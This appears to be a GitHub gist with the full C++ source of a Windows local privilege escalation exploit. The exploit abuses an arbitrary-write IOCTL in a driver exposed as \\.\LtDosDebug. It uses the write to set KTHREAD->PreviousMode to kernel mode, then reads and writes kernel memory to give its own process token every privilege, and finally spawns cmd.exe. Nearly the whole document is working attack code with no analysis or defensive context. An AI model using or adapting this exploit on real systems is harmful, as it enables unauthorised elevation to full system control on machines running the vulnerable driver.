Skip to content

Instantly share code, notes, and snippets.

@iilegacyyii
Created December 10, 2025 17:28
Show Gist options
  • Select an option

  • Save iilegacyyii/75aa95dcc78e30d12ab48ae47943b8dd to your computer and use it in GitHub Desktop.

Select an option

Save iilegacyyii/75aa95dcc78e30d12ab48ae47943b8dd to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <Windows.h>
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// handle information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
// handle table information
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef struct sSepTokenPrivileges {
ULONGLONG present;
ULONGLONG enabled;
ULONGLONG enabled_by_default;
} SEP_TOKEN_PRIVILEGES;
HANDLE device = 0;
fNtReadVirtualMemory NtReadVirtualMemory = NULL;
fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
fNtQuerySystemInformation NtQuerySystemInformation = NULL;
HANDLE GetDeviceHandle(LPCWSTR FilePath)
{
HANDLE handle = CreateFileW(
FilePath,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (!handle || handle == INVALID_HANDLE_VALUE)
{
printf("[-] Error getting handle: 0x%lx\n", GetLastError());
ExitProcess(-1);
}
printf("[+] Acquired Handle: 0x%llx\n", (SIZE_T)handle);
return handle;
}
void write_3608_to_address(void* address)
{
BYTE in[0x40] = { 0 };
DeviceIoControl(
device,
0x802b2003,
address,
0x4,
address,
0x4,
nullptr,
NULL);
}
PVOID GetKAddrFromHandle(HANDLE handle) {
ULONG returnLength = 0;
fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
ULONG numberOfHandles = handleTableInformation->NumberOfHandles;
HeapFree(GetProcessHeap(), 0, handleTableInformation);
handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100, &returnLength);
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
if (handleInfo.HandleValue == (USHORT)handle && handleInfo.UniqueProcessId == GetCurrentProcessId())
{
return handleInfo.Object;
}
}
}
void kread(void* buf, void* dst, size_t len)
{
SIZE_T bytesread = 0;
NtReadVirtualMemory(GetCurrentProcess(), buf, dst, len, &bytesread);
}
void kwrite(void* dst, void* buf, size_t len)
{
SIZE_T byteswritten = 0;
NtWriteVirtualMemory(GetCurrentProcess(), dst, buf, len, &byteswritten);
}
VOID IncrementPrivileges() {
HANDLE TokenHandle = NULL;
PVOID tokenAddr = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
tokenAddr = GetKAddrFromHandle(TokenHandle);
SEP_TOKEN_PRIVILEGES original_privs = { 0 };
kread((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&original_privs, sizeof(original_privs));
SEP_TOKEN_PRIVILEGES privs = { 0 };
privs.enabled = 0x0000001ff2ffffbc;
privs.present = 0x0000001ff2ffffbc;
privs.enabled_by_default = original_privs.enabled_by_default;
kwrite((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&privs, sizeof(privs));
SEP_TOKEN_PRIVILEGES modified_privs = { 0 };
kread((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&modified_privs, sizeof(modified_privs));
return;
}
int main(int argc, char* argv[], char* envp[])
{
NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
NtReadVirtualMemory = (fNtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory");
NtWriteVirtualMemory = (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
device = GetDeviceHandle(L"\\\\.\\LtDosDebug");
if (device == INVALID_HANDLE_VALUE)
{
printf("[!] failed to open handle to driver\n");
return 1;
}
printf("[+] opened handle\n");
// Get KTHREAD addr for this thread.
HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
size_t kthread = (size_t)GetKAddrFromHandle(hthread);
printf("[*] KTHREAD @ 0x%016llx\n", kthread);
// overwrite KTHREAD->PreviousMode
// our vuln writes 0x36080000 to a given address
// dont care about corrupting KTHREAD->UserAffinityFill, as such we place the `3608` there.
size_t addr_previousmode = kthread + 0x232;
size_t addr_previousmode_write = addr_previousmode - 3;
write_3608_to_address((void*)addr_previousmode_write);
printf("[+] Set KTHREAD->PreviousMode to KernelMode\n");
// elevate privs
IncrementPrivileges();
printf("[+] Modified process token\n");
// Fix previousmode
kwrite((void*)addr_previousmode, (void*)"\x01", 1);
printf("[+] Restored KTHREAD->PreviousMode\n");
printf("[*] Spawning shell, gl! :)\n");
system("C:\\windows\\system32\\cmd.exe");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment